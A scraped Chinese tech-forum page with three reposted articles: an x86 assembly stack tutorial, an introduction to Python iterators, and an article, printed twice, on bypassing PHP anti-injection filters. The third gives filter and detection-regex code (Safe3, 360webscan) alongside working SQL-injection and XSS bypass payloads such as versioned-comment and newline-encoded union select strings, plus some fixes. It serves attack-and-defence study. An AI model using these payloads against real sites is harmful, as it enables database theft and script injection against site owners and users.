           根据咱们学汇编的经验呀,汇编用的最多的是寄存器和内存之间的不断相互传值传地址,井然有序。
           然而,你知道它们具体是怎么进行数据传递和交换的吗?
     
                                                           
                                                                  
    20180806134611410.jpg


           我们知道寄存器能够保存的数据量不多,所以需要存储大量数据的时候就需要保存到内存里面了。
     
             那么:如果我存了一大堆数据,但是我想知道究竟存了多少数据,要怎么办呢?
             如果我想在这对数据里面抽出某一个数据出来使用,要怎么抽呢?
          用完这些数据是继续保存还是丢弃来呢?丢到哪里去呢?
              
                                                                    
                                                                     
    20180806135233534.jpg


                           针对以上种种问题,这里有个完美的解决方案—〉堆栈
                                               
                                                                      
    20180806135631324.jpg


                                         NO.1 首先我们来了解下什么是堆栈
                                                                               
                                                                  
    20180806140343536.png


                                       根据百度百科的记载,堆栈的定义如下
     
                                             
    20180806140745702.png


           顾名思义,就是在调用程序的时候,电脑会自动开辟一块内存空间专门用来放数据的,然后我们的数据就会想货物一样一个一个往上堆,需要用到的时候就拿出来使用,当程序执行完之后再腾出空间给其他程序继续使用,这个就是堆栈。
                       这里两个概念需要了解下,一个是栈顶,一个是栈底。
                                      栈顶:顾名思义,就是栈道的顶部啦~
                               栈底:顾名思义,就是栈道的底部啦~
                                                              
                                    
    20180806223937357.jpg


              然后呢,通常我们规定使用寄存器里面的EBP寄存器保存一个地址,作为堆栈的栈底,ESP寄存器保存一个地址,作为堆栈的栈顶,用EAX寄存器来保存需要输出的数据。    
          举个例子,可以看到,有个寄存器EBP和ESP所保存的地址如下                        
                 
                                        
    20180809115839293.png

                                                
              ↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓所以它们在堆栈中是这样的↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓  
                                                                                       
                                                          
    20180809123200158.png


                   ↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓现在要实现以下功能↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓
                              
                                     
    20180809123840740.png


    以上的指令含义分别为:1.将立即数“2”压进栈道里,并且栈顶提升4个字节
                                                           2.将立即数“1”压进栈道里,并且栈顶提升4个字节
                                                         3.进入名为“kong”的函数,把地址“0040100F”保存到EIP寄存器     里,并且把00401070(0040106c+0x4)压进栈道,并且栈顶提升4个字节
                                                          4.从函数中出来以后,栈顶esp+8(恢复栈顶)
     
                进入名为“kong”的函数后,需要执行以下的指令:
                                
                                      
                                         
    20180809130300994.png


              ↓↓↓↓↓↓↓↓↓↓所以,“准备工作”堆栈图如下↓↓↓↓↓↓↓↓↓↓
                                                           
                                       
    20180809133644233.png


      ↓↓↓↓↓↓↓↓↓↓然后,执行完程序之后,堆栈的收尾工作如下↓↓↓↓↓↓↓↓↓↓
                                                                                         
                                                                     
    20180809135205265.png


                      
      这篇文章将汇编的堆栈讲的非常详细,对我有非常大的帮助。
     原博地址:https://blog.csdn.net/qq_41884002/article/details/81452889

     

    迭代器简介

    jizi_smile 发表了文章 • 0 个评论 • 209 次浏览 • 2019-03-10 21:47 • 来自相关话题

    一.什么是迭代器
    所谓迭代器是一种概念上的抽象:那些行为上像迭代器的东西都可以叫做迭代器(摘自百度百科)
    个人理解:用迭代实现的方法就是迭代器 
    什么是迭代:迭代是重复反馈过程的活动,其目的通常是为了逼近所需目标或结果。每一次对过程的重复称为一次“迭代”,而每一次迭代得到的结果会作为下一次迭代的初始值。
    重复执行一系列运算步骤,从前面的量依次求出后面的量的过程。此过程的每一次结果,都是由对前一次所得结果施行相同的运算步骤得到的。例如利用迭代法*求某一数学问题的解。
    对计算机特定程序中需要反复执行的子程序*(一组指令),进行一次重复,即重复执行程序中的循环,直到满足某条件为止,亦称为迭代。
    为了帮助理解:https://blog.csdn.net/Python_Number/article/details/82560779



    个人理解:迭代是广义上的遍历,并与递归有相通之处
    关于迭代和递归区别:https://www.cnblogs.com/zhizhan/p/4892886.html




    迭代器作用:
          迭代器是访问集合内元素的一种方式。迭代器对象从集合的第一个元素开始访问,直到所有的元素都被访问一遍后结束。

    迭代器不能回退,只能往前进行迭代。这并不是什么很大的缺点,因为人们几乎不需要在迭代途中进行回退操作。

    迭代器也不是线程安全的,在多线程环境中对可变集合使用迭代器是一个危险的操作。但如果小心谨慎,或者干脆贯彻函数式思想坚持使用不可变的集合,那这也不是什么大问题。

    对于原生支持随机访问的数据结构(如tuple、list),迭代器和经典for循环的索引访问相比并无优势,反而丢失了索引值(可以使用内建函数enumerate()找回这个索引值,这是后话)。但对于无法随机访问的数据结构(比如set)而言,迭代器是唯一的访问元素的方式。为什么用迭代器:for i in range(1000): pass会导致生成一个 1000 个元素的 List,而代码:for i in xrange(1000): pass则不会生成一个 1000 个元素的 List,而是在每次迭代中返回下一个数值,内存空间占用很小。(这里只简单显示迭代器与普通遍历区别详情请看:https://www.ibm.com/developerworks/cn/opensource/os-cn-python-yield/)
    迭代器节省内存原因:迭代器的另一个优点就是它不要求你事先准备好整个迭代过程中所有的元素。迭代器仅仅在迭代至某个元素时才计算该元素,而在这之前或之后,元素可以不存在或者被销毁。这个特点使得它特别适合用于遍历一些巨大的或是无限的集合,比如几个G的文件,或是斐波那契数列等等。这个特点被称为延迟计算或惰性求值(Lazy evaluation)。(摘自:https://www.cnblogs.com/sunnyjiangjie/p/4097301.html)
      查看全部
    一.什么是迭代器
    所谓迭代器是一种概念上的抽象:那些行为上像迭代器的东西都可以叫做迭代器(摘自百度百科)
    个人理解:用迭代实现的方法就是迭代器 
    什么是迭代:
    迭代是重复反馈过程的活动,其目的通常是为了逼近所需目标或结果。每一次对过程的重复称为一次“迭代”,而每一次迭代得到的结果会作为下一次迭代的初始值。
    重复执行一系列运算步骤,从前面的量依次求出后面的量的过程。此过程的每一次结果,都是由对前一次所得结果施行相同的运算步骤得到的。例如利用迭代法*求某一数学问题的解。
    对计算机特定程序中需要反复执行的子程序*(一组指令),进行一次重复,即重复执行程序中的循环,直到满足某条件为止,亦称为迭代。

    为了帮助理解:https://blog.csdn.net/Python_Number/article/details/82560779
    捕获.PNG
    个人理解:迭代是广义上的遍历,并与递归有相通之处
    关于迭代和递归区别:https://www.cnblogs.com/zhizhan/p/4892886.html
    1.PNG

    迭代器作用:
          
    迭代器是访问集合内元素的一种方式。迭代器对象从集合的第一个元素开始访问,直到所有的元素都被访问一遍后结束。

    迭代器不能回退,只能往前进行迭代。这并不是什么很大的缺点,因为人们几乎不需要在迭代途中进行回退操作。

    迭代器也不是线程安全的,在多线程环境中对可变集合使用迭代器是一个危险的操作。但如果小心谨慎,或者干脆贯彻函数式思想坚持使用不可变的集合,那这也不是什么大问题。

    对于原生支持随机访问的数据结构(如tuple、list),迭代器和经典for循环的索引访问相比并无优势,反而丢失了索引值(可以使用内建函数enumerate()找回这个索引值,这是后话)。但对于无法随机访问的数据结构(比如set)而言,迭代器是唯一的访问元素的方式。
    为什么用迭代器:
    for i in range(1000): pass
    会导致生成一个 1000 个元素的 List,而代码:
    for i in xrange(1000): pass
    则不会生成一个 1000 个元素的 List,而是在每次迭代中返回下一个数值,内存空间占用很小。(这里只简单显示迭代器与普通遍历区别详情请看:https://www.ibm.com/developerworks/cn/opensource/os-cn-python-yield/
    迭代器节省内存原因:
    迭代器的另一个优点就是它不要求你事先准备好整个迭代过程中所有的元素。迭代器仅仅在迭代至某个元素时才计算该元素,而在这之前或之后,元素可以不存在或者被销毁。这个特点使得它特别适合用于遍历一些巨大的或是无限的集合,比如几个G的文件,或是斐波那契数列等等。这个特点被称为延迟计算或惰性求值(Lazy evaluation)。
    (摘自:https://www.cnblogs.com/sunnyjiangjie/p/4097301.html
     

    PHP代码层防护与绕过

    PHPflaray 发表了文章 • 0 个评论 • 238 次浏览 • 2019-02-26 13:31 • 来自相关话题

    转自:https://www.secpulse.com/archives/99326.html 
    0x01 前言
      在一些网站通常会在公用文件引入全局防护代码进行SQL注入、XSS跨站脚本等漏洞的防御,在一定程度上对网站安全防护还是比较有效的。
      这里讨论一下关键字过滤不完善及常见正则匹配存在的问题,并收集了网络上常见的PHP全局防护代码进行分析。

    Bypass思路:利用数据库特性或过滤函数逻辑缺陷绕过。
     0x02 关键字过滤
    1、使用strpos过滤关键字
    PHP过滤代码如下:

    <?php
    $str = "and|or|union|select|from|where|limit|order by|guoup by|<script>|</script>";
    $arr=explode("|",$str);
    #print_r($arr);
    foreach($arr as $key=>$val){
    $flag=strpos($_GET['id'],$val);
    if ($flag){
        echo 'Error';
        exit();
    }
    }
    ?>
    Bypass思路:strpos() 函数查找字符串在另一字符串中第一次出现的位置。strpos() 函数对大小写敏感。
    大小写绕过:id=1 AND 1=1 UNION SELECT 1,2,3  FROM ADMIN
    2、使用stripos,进行关键字过滤
       与strpos相比,stripos() - 查找字符串在另一字符串中第一次出现的位置(不区分大小写)
    PHP过滤代码如下:

    <?php
    $str = "and|or|union|select|from|where|limit|order by|guoup by|<script>|</script>";
    $arr=explode("|",$str);
    #print_r($arr);
    foreach($arr as $key=>$val){
    $flag=strpos($_GET['id'],$val);
    if ($flag){
        echo 'Error';
        exit();
    }
    }
    ?>
    Bypass思路:
    当$flag等于0,即关键字在输入参数的第一位,可绕过
    id=</script><a href="javascript:alert(/xss/)">xsstest<a>
    关键字过滤类似的方法:

    <?php
    $blacklist_keywords = 'select,from,1=1,--,union,#';
    $blacklist = explode(',',$blacklist_keywords);
    print_r($blacklist);
    foreach($blacklist as $key=>$value){
        //$_REQUEST['id'] = str_replace(strtolower($value),'',strtolower($_REQUEST['id']));               
        $_REQUEST['id'] = str_replace($value,'',$_REQUEST['id']);
    }
    echo $_REQUEST['id'];

    ?>
     0x03 正则匹配
    1、边界关键词
    b 表示单词的边界,因此只有独立的 "union" 单词会被匹配
    PHP过滤代码如下:

    <?php
    if  (preg_match("/b(union|select|from)b/i",$_GET['id'])==1){ 
        echo "Error";
        exit();
    }
    echo "success" ;
    ?>
    Bypass思路:
    通过数据库的特性,在关键字前后添加字符,打扰关键字边界判断
    id=1e0union/*!12345select*/1,2,3,4/*!12345from*/users
    2、匹配模式
    i 忽略大小写,匹配不考虑大小写,默认不匹配多行
    PHP过滤代码如下:

    <?php
    if  (preg_match("/(?:(union(.*?)select))/i",$_GET['id'])==1){ 
        echo "Error";
        exit();
    }
    echo "success" ;
    ?>
    Bypass思路:
    通过换行 n可绕过,url编码为%0aid=1 union%23%0aseleCT 1,2,3,4 from users
     
    修复方案:

    preg_match("/(?:(union(.*?)select))/ims",$_GET['id'])
    0x04 PHP通用防护代码
    1、safe3 防注入代码

    <?php
    //Code By Safe3
    ini_set('date.timezone','Asia/Shanghai');
    function customError($errno, $errstr, $errfile, $errline)
    {
       echo "<b>Error number:</b> [$errno],error on line $errline in $errfile<br />";
       die();
    }
    set_error_handler("customError",E_ERROR);
    $getfilter="'|select|from|(and|or)\b.+?(>|<|=|in|like)|\/\*.+?\*\/|<\s*script\b|\bEXEC\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\s+(TABLE|DATABASE)";
    $postfilter="\b(and|or)\b.{1,6}?(=|>|<|\bin\b|\blike\b)|\/\*.+?\*\/|<\s*script\b|\bEXEC\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\s+(TABLE|DATABASE)";
    $cookiefilter="\b(and|or)\b.{1,6}?(=|>|<|\bin\b|\blike\b)|\/\*.+?\*\/|<\s*script\b|\bEXEC\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\s+(TABLE|DATABASE)";
    function StopAttack($StrFiltKey,$StrFiltValue,$ArrFiltReq){

       if(is_array($StrFiltValue))
       {
           $StrFiltValue=implode($StrFiltValue);
       }
       if (preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1){
           slog("<br><br>操作IP: ".$_SERVER["REMOTE_ADDR"]."<br>操作时间: ".strftime("%Y-%m-%d %H:%M:%S")."<br>操作页面:".$_SERVER["PHP_SELF"]."<br>提交方式: ".$_SERVER["REQUEST_METHOD"]."<br>提交参数: ".$StrFiltKey."<br>提交数据: ".$StrFiltValue);
           @header("http/1.1 404 not found");
           print "<html><title>404: Not Found</title>";
           //slog("<br><br>操作IP: ".$_SERVER["REMOTE_ADDR"]."<br>操作时间: ".strftime("%Y-%m-%d %H:%M:%S")."<br>操作页面:".$_SERVER["PHP_SELF"]."<br>提交方式: ".$_SERVER["REQUEST_METHOD"]."<br>提交参数: ".$StrFiltKey."<br>提交数据: ".$StrFiltValue);
           print "<body>Url里含有非法字符串,属于有误操作!... <a href='/'>您还可以返回首页</a></body></html>";
     ;exit();
       }
    }
    //$ArrPGC=array_merge($_GET,$_POST,$_COOKIE);
    foreach($_GET as $key=>$value){
       StopAttack($key,$value,$getfilter);
    }
    foreach($_POST as $key=>$value){
       StopAttack($key,$value,$postfilter);
    }
    foreach($_COOKIE as $key=>$value){
       StopAttack($key,$value,$cookiefilter);
    }
    function slog($logs)
    {
       $toppath=$_SERVER["DOCUMENT_ROOT"]."/log.htm";
       $Ts=fopen($toppath,"a+");
       fputs($Ts,$logs."rn");
       fclose($Ts);
    }
    ?>
    如果正面怼正则,实在想不到绕过的方式。。
    2、360webscan防御脚本
      360网站安全:http://webscan.360.cn
      http://webscan.360.cn/protect/index/?act=reinstall&domain=www.test.com下载漏洞修复插件360webscan.zip  多次下载解压失败,
      无奈,跑到cmseasy下载最新版cms,解压获取 webscan360/360safe目录,分享到网盘,链接: https://pan.baidu.com/s/1nviNi2l 密码: 3itq
      WEBSCAN_VERSION :0.1.3.2

     
    SQL语句测试,成功拦截: 

    Bypass思路:
      关键的两个正则:

      UNION.+?SELECTs*((.+)s*|@{1,2}.+?s*|s+?.+?|(`|'|").*?(`|'|")s*)
      (SELECT|DELETE)@{0,2}(\(.+\)|\s+?.+?\s+?|(`|'|").*?(`|'|"))FROM(\(.+\)|\s+?.+?|(`|'|").*?(`|'|"))
      id=1e0union select!1,user(),3,4 from users


    0x05 结束
        本文简单演示了几种防护代码和绕过场景,在攻与防的道路上,不只是掌握一些技巧,是与代码的对抗,更是人与人的对抗。
    转载自公众号:Bypass 查看全部
    转自:https://www.secpulse.com/archives/99326.html 
    0x01 前言
      在一些网站通常会在公用文件引入全局防护代码进行SQL注入、XSS跨站脚本等漏洞的防御,在一定程度上对网站安全防护还是比较有效的。
      这里讨论一下关键字过滤不完善及常见正则匹配存在的问题,并收集了网络上常见的PHP全局防护代码进行分析。

    Bypass思路:利用数据库特性或过滤函数逻辑缺陷绕过。
     0x02 关键字过滤
    1、使用strpos过滤关键字
    PHP过滤代码如下:

    <?php
    $str = "and|or|union|select|from|where|limit|order by|guoup by|<script>|</script>";
    $arr=explode("|",$str);
    #print_r($arr);
    foreach($arr as $key=>$val){
    $flag=strpos($_GET['id'],$val);
    if ($flag){
        echo 'Error';
        exit();
    }
    }
    ?>
    Bypass思路:strpos() 函数查找字符串在另一字符串中第一次出现的位置。strpos() 函数对大小写敏感。
    大小写绕过:id=1 AND 1=1 UNION SELECT 1,2,3  FROM ADMIN
    2、使用stripos,进行关键字过滤
       与strpos相比,stripos() - 查找字符串在另一字符串中第一次出现的位置(不区分大小写)
    PHP过滤代码如下:

    <?php
    $str = "and|or|union|select|from|where|limit|order by|guoup by|<script>|</script>";
    $arr=explode("|",$str);
    #print_r($arr);
    foreach($arr as $key=>$val){
    $flag=strpos($_GET['id'],$val);
    if ($flag){
        echo 'Error';
        exit();
    }
    }
    ?>
    Bypass思路:
    当$flag等于0,即关键字在输入参数的第一位,可绕过
    id=</script><a href="javascript:alert(/xss/)">xsstest<a>
    关键字过滤类似的方法:

    <?php
    $blacklist_keywords = 'select,from,1=1,--,union,#';
    $blacklist = explode(',',$blacklist_keywords);
    print_r($blacklist);
    foreach($blacklist as $key=>$value){
        //$_REQUEST['id'] = str_replace(strtolower($value),'',strtolower($_REQUEST['id']));               
        $_REQUEST['id'] = str_replace($value,'',$_REQUEST['id']);
    }
    echo $_REQUEST['id'];

    ?>
     0x03 正则匹配
    1、边界关键词
    b 表示单词的边界,因此只有独立的 "union" 单词会被匹配
    PHP过滤代码如下:

    <?php
    if  (preg_match("/b(union|select|from)b/i",$_GET['id'])==1){ 
        echo "Error";
        exit();
    }
    echo "success" ;
    ?>
    Bypass思路:
    通过数据库的特性,在关键字前后添加字符,打扰关键字边界判断
    id=1e0union/*!12345select*/1,2,3,4/*!12345from*/users
    2、匹配模式
    i 忽略大小写,匹配不考虑大小写,默认不匹配多行
    PHP过滤代码如下:

    <?php
    if  (preg_match("/(?:(union(.*?)select))/i",$_GET['id'])==1){ 
        echo "Error";
        exit();
    }
    echo "success" ;
    ?>
    Bypass思路:
    通过换行 n可绕过,url编码为%0a
    id=1 union%23%0aseleCT 1,2,3,4 from users

     
    修复方案:

    preg_match("/(?:(union(.*?)select))/ims",$_GET['id'])
    0x04 PHP通用防护代码
    1、safe3 防注入代码

    <?php
    //Code By Safe3
    ini_set('date.timezone','Asia/Shanghai');
    function customError($errno, $errstr, $errfile, $errline)
    {
       echo "<b>Error number:</b> [$errno],error on line $errline in $errfile<br />";
       die();
    }
    set_error_handler("customError",E_ERROR);
    $getfilter="'|select|from|(and|or)\b.+?(>|<|=|in|like)|\/\*.+?\*\/|<\s*script\b|\bEXEC\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\s+(TABLE|DATABASE)";
    $postfilter="\b(and|or)\b.{1,6}?(=|>|<|\bin\b|\blike\b)|\/\*.+?\*\/|<\s*script\b|\bEXEC\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\s+(TABLE|DATABASE)";
    $cookiefilter="\b(and|or)\b.{1,6}?(=|>|<|\bin\b|\blike\b)|\/\*.+?\*\/|<\s*script\b|\bEXEC\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\s+(TABLE|DATABASE)";
    function StopAttack($StrFiltKey,$StrFiltValue,$ArrFiltReq){

       if(is_array($StrFiltValue))
       {
           $StrFiltValue=implode($StrFiltValue);
       }
       if (preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1){
           slog("<br><br>操作IP: ".$_SERVER["REMOTE_ADDR"]."<br>操作时间: ".strftime("%Y-%m-%d %H:%M:%S")."<br>操作页面:".$_SERVER["PHP_SELF"]."<br>提交方式: ".$_SERVER["REQUEST_METHOD"]."<br>提交参数: ".$StrFiltKey."<br>提交数据: ".$StrFiltValue);
           @header("http/1.1 404 not found");
           print "<html><title>404: Not Found</title>";
           //slog("<br><br>操作IP: ".$_SERVER["REMOTE_ADDR"]."<br>操作时间: ".strftime("%Y-%m-%d %H:%M:%S")."<br>操作页面:".$_SERVER["PHP_SELF"]."<br>提交方式: ".$_SERVER["REQUEST_METHOD"]."<br>提交参数: ".$StrFiltKey."<br>提交数据: ".$StrFiltValue);
           print "<body>Url里含有非法字符串,属于有误操作!... <a href='/'>您还可以返回首页</a></body></html>";
     ;exit();
       }
    }
    //$ArrPGC=array_merge($_GET,$_POST,$_COOKIE);
    foreach($_GET as $key=>$value){
       StopAttack($key,$value,$getfilter);
    }
    foreach($_POST as $key=>$value){
       StopAttack($key,$value,$postfilter);
    }
    foreach($_COOKIE as $key=>$value){
       StopAttack($key,$value,$cookiefilter);
    }
    function slog($logs)
    {
       $toppath=$_SERVER["DOCUMENT_ROOT"]."/log.htm";
       $Ts=fopen($toppath,"a+");
       fputs($Ts,$logs."rn");
       fclose($Ts);
    }
    ?>
    如果正面怼正则,实在想不到绕过的方式。。
    2、360webscan防御脚本
      360网站安全:http://webscan.360.cn
      http://webscan.360.cn/protect/index/?act=reinstall&domain=www.test.com下载漏洞修复插件360webscan.zip  多次下载解压失败,
      无奈,跑到cmseasy下载最新版cms,解压获取 webscan360/360safe目录,分享到网盘,链接: https://pan.baidu.com/s/1nviNi2l 密码: 3itq
      WEBSCAN_VERSION :0.1.3.2

     
    SQL语句测试,成功拦截: 

    Bypass思路:
      关键的两个正则:

      UNION.+?SELECTs*((.+)s*|@{1,2}.+?s*|s+?.+?|(`|'|").*?(`|'|")s*)
      (SELECT|DELETE)@{0,2}(\(.+\)|\s+?.+?\s+?|(`|'|").*?(`|'|"))FROM(\(.+\)|\s+?.+?|(`|'|").*?(`|'|"))
      id=1e0union select!1,user(),3,4 from users


    0x05 结束
        本文简单演示了几种防护代码和绕过场景,在攻与防的道路上,不只是掌握一些技巧,是与代码的对抗,更是人与人的对抗。
    转载自公众号:Bypass